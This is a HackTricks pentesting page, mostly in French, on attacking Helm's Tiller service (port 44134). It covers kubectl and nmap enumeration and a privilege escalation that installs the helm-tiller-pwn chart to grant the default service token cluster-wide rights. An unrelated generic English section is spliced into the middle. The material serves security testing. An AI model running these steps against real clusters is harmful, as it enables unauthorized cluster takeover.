coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
fr
hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

7.6 KiB
Raw Permalink Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

Helm est le gestionnaire de paquets pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés Helm Charts. Tiller est le service exécuté par défaut sur le port 44134 offrant le service.

Port par défaut : 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Énumération

Si vous pouvez énumérer les pods et/ou les services de différents espaces de noms, énumérez-les et recherchez ceux qui ont "tiller" dans leur nom :

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Pentesting Tiller (Helm)

Introduction

Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm uses a client-server architecture, where the client is called helm and the server is called tiller. Tiller runs inside the Kubernetes cluster and manages releases (installations) of Helm packages.

Tiller Security

Tiller is a privileged component in the Kubernetes cluster, with the ability to create, modify, and delete resources in any namespace. As such, it is important to secure Tiller to prevent unauthorized access and potential attacks.

Tiller Deployment

By default, Tiller is deployed with full administrative privileges. This means that any user or application with access to Tiller can perform any action on the Kubernetes cluster. To secure Tiller, it is recommended to deploy it with limited privileges.

Tiller RBAC

Role-Based Access Control (RBAC) can be used to limit the permissions of Tiller. RBAC allows you to define roles and permissions for users and applications in the Kubernetes cluster. By default, Tiller is deployed with a cluster-admin role, which grants full administrative privileges. To secure Tiller, you should create a new role with limited permissions and assign it to Tiller.

Tiller TLS

Transport Layer Security (TLS) can be used to encrypt communication between helm and Tiller. By default, Tiller does not use TLS, which means that all communication is unencrypted. To secure Tiller, you should enable TLS and configure helm to use it.

Tiller Pentesting

Tiller Information Gathering

To begin pentesting Tiller, you should first gather information about the Tiller deployment. This can include the Tiller version, the Kubernetes version, the Tiller deployment configuration, and any RBAC roles assigned to Tiller.

Tiller Enumeration

Once you have gathered information about the Tiller deployment, you can begin enumerating the resources managed by Tiller. This can include Kubernetes objects, such as pods, services, and deployments, as well as Helm releases.

Tiller Exploitation

If you find a vulnerability in Tiller or one of the resources managed by Tiller, you can attempt to exploit it to gain unauthorized access or perform other malicious actions. This can include privilege escalation, data exfiltration, or even a full cluster takeover.

Conclusion

Tiller is a critical component of the Helm package manager for Kubernetes. As such, it is important to secure Tiller to prevent unauthorized access and potential attacks. By following best practices for Tiller deployment, RBAC, and TLS, you can help ensure the security of your Kubernetes cluster.

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Vous pouvez également essayer de trouver ce service en vérifiant le port 44134 :

sudo nmap -sS -p 44134 <IP>

Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application client helm. Vous pouvez utiliser des outils tels que homebrew, ou consulter la page des versions officielles. Pour plus de détails ou pour d'autres options, consultez le guide d'installation.

Ensuite, vous pouvez énumérer le service:

helm --host tiller-deploy.kube-system:44134 version

Élévation de privilèges

Par défaut, Helm2 était installé dans l'espace de noms kube-system avec des privilèges élevés, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'élever les privilèges.

Tout ce que vous avez à faire est d'installer un package comme celui-ci : https://github.com/Ruil1n/helm-tiller-pwn qui donnera au jeton de service par défaut l'accès à tout dans l'ensemble du cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Dans http://rui0.cn/archives/1573, vous trouverez l'explication de l'attaque, mais en gros, si vous lisez les fichiers clusterrole.yaml et clusterrolebinding.yaml dans helm-tiller-pwn/pwnchart/templates/ vous pouvez voir comment tous les privilèges sont donnés au jeton par défaut.